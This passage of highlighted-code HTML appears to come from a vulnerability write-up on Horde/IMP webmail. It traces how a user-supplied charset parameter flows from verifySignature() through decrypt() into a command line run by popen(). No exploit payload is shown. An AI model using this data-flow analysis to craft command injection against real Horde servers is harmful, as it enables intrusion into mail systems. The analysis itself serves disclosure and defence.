class=\"crayon-h\"> <\/span><span class=\"crayon-e\">popen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmdline<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;r&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372783626229327-13\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0021 seconds] -->  <\/p>\n<p>Our <em>$params[&#8216;charset&#8217;]<\/em> will be in command line that is going to be executed.<\/p>\n<p><em>decryptSignature()<\/em> is called from <em>decrypt()<\/em> method:<\/p>\n<p>Path &#8211; \/Horde\/Crypt\/Pgp.php:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372785328238467\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 611 *\/ public function decrypt($text, $params = array())  \/* 612 *\/ {  \/* 613 *\/ switch (isset($params[&#8216;type&#8217;]) ? $params[&#8216;type&#8217;] : false) {  \/* 614 *\/ case &#8216;detached-signature&#8217;:  \/* 615 *\/ case &#8216;signature&#8217;:  \/* 616 *\/ \/* Check for required parameters. *\/  \/* 617 *\/ if (!isset($params[&#8216;pubkey&#8217;])) {  \/* 618 *\/ throw new InvalidArgumentException(  \/* 619 *\/ &#8216;A public PGP key is required to verify a signed message.&#8217;  \/* 620 *\/ );  \/* 621 *\/ }  \/* 622 *\/ if (($params[&#8216;type&#8217;] === &#8216;detached-signature&#8217;) &amp;&amp;  \/* 623 *\/ !isset($params[&#8216;signature&#8217;])) {  \/* 624 *\/ throw new InvalidArgumentException(  \/* 625 *\/ &#8216;The detached PGP signature block is required to verify the signed message.&#8217;  \/* 626 *\/ );  \/* 627 *\/ }  \/* 628 *\/  \/* 629 *\/ $func = &#8216;decryptSignature&#8217;;  \/* 630 *\/ break;  \/* &#8230; *\/  \/* 650 *\/ $this-&gt;_initDrivers();  \/* 651 *\/  \/* 652 *\/ foreach ($this-&gt;_backends as $val) {  \/* 653 *\/ try {  \/* 654 *\/ return $val-&gt;$func($text, $params);  \/* 655 *\/ } catch (Horde_Crypt_Exception $e) {}  \/* 656 *\/ }  \/* &#8230; *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372785328238467-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372785328238467-29\">29<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-1\"><span class=\"crayon-c\">\/* 611 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">decrypt<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-2\"><span class=\"crayon-c\">\/* 612 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-3\"><span class=\"crayon-c\">\/* 613 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-4\"><span class=\"crayon-c\">\/* 614 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;detached-signature&#8217;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-5\"><span class=\"crayon-c\">\/* 615 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;signature&#8217;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-6\"><span class=\"crayon-c\">\/* 616 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Check for required parameters. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-7\"><span class=\"crayon-c\">\/* 617 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;pubkey&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-8\"><span class=\"crayon-c\">\/* 618 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">InvalidArgumentException<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-9\"><span class=\"crayon-c\">\/* 619 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;A public PGP key is required to verify a signed message.&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-10\"><span class=\"crayon-c\">\/* 620 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-11\"><span class=\"crayon-c\">\/* 621 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-12\"><span class=\"crayon-c\">\/* 622 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;detached-signature&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-13\"><span class=\"crayon-c\">\/* 623 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;signature&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-14\"><span class=\"crayon-c\">\/* 624 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">InvalidArgumentException<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-15\"><span class=\"crayon-c\">\/* 625 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;The detached PGP signature block is required to verify the signed message.&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-16\"><span class=\"crayon-c\">\/* 626 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-17\"><span class=\"crayon-c\">\/* 627 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-18\"><span class=\"crayon-c\">\/* 628 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-19\"><span class=\"crayon-c\">\/* 629 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">func<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;decryptSignature&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-20\"><span class=\"crayon-c\">\/* 630 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-21\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-22\"><span class=\"crayon-c\">\/* 650 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_initDrivers<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-23\"><span class=\"crayon-c\">\/* 651 *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-24\"><span class=\"crayon-c\">\/* 652 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">foreach<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_backends <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-25\"><span class=\"crayon-c\">\/* 653 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-26\"><span class=\"crayon-c\">\/* 654 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">func<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-27\"><span class=\"crayon-c\">\/* 655 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Horde_Crypt<\/span><span class=\"crayon-sy\">_<\/span>Exception<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372785328238467-28\"><span class=\"crayon-c\">\/* 656 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372785328238467-29\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0054 seconds] -->  <\/p>\n<p><em>decrypt()<\/em> with needed parameters is used in <em>verifySignature()<\/em>:<\/p>\n<p>Path &#8211; <em> \/imp\/lib\/Crypt\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372788847735919\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 339 *\/ public function verifySignature($text, $address, $signature = &#8221;,  \/* 340 *\/ $charset = null)  \/* 341 *\/ {  \/* 342 *\/ if (!empty($signature)) {  \/* 343 *\/ $packet_info = $this-&gt;pgpPacketInformation($signature);  \/* 344 *\/ if (isset($packet_info[&#8216;keyid&#8217;])) {  \/* 345 *\/ $keyid = $packet_info[&#8216;keyid&#8217;];  \/* 346 *\/ }  \/* 347 *\/ }  \/* 349 *\/ if (!isset($keyid)) {  \/* 350 *\/ $keyid = $this-&gt;getSignersKeyID($text);  \/* 351 *\/ }  \/* 353 *\/ \/* Get key ID of key. *\/  \/* 354 *\/ $public_key = $this-&gt;getPublicKey($address, array(&#8216;keyid&#8217; =&gt; $keyid));  \/* 356 *\/ if (empty($signature)) {  \/* 357 *\/ $options = array(&#8216;type&#8217; =&gt; &#8216;signature&#8217;);  \/* 358 *\/ } else {  \/* 359 *\/ $options = array(&#8216;type&#8217; =&gt; &#8216;detached-signature&#8217;, &#8216;signature&#8217; =&gt; $signature);  \/* 360 *\/ }  \/* 361 *\/ $options[&#8216;pubkey&#8217;] = $public_key;  \/* 363 *\/ if (!empty($charset)) {  \/* 364 *\/ $options[&#8216;charset&#8217;] = $charset;  \/* 365 *\/ }  \/* 369 *\/ return $this-&gt;decrypt($text, $options);  \/* 370 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372788847735919-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372788847735919-25\">25<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-1\"><span class=\"crayon-c\">\/* 339 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">verifySignature<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">address<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-2\"><span class=\"crayon-c\">\/* 340 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">charset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-3\"><span class=\"crayon-c\">\/* 341 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-4\"><span class=\"crayon-c\">\/* 342 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372788847735919-5\"><span class=\"crayon-c\">\/* 343 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">packet_info<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">pgpPacketInformation<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372788847735919-6\"><span class=\"crayon-c\">\/* 344 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">packet_info<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;keyid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span 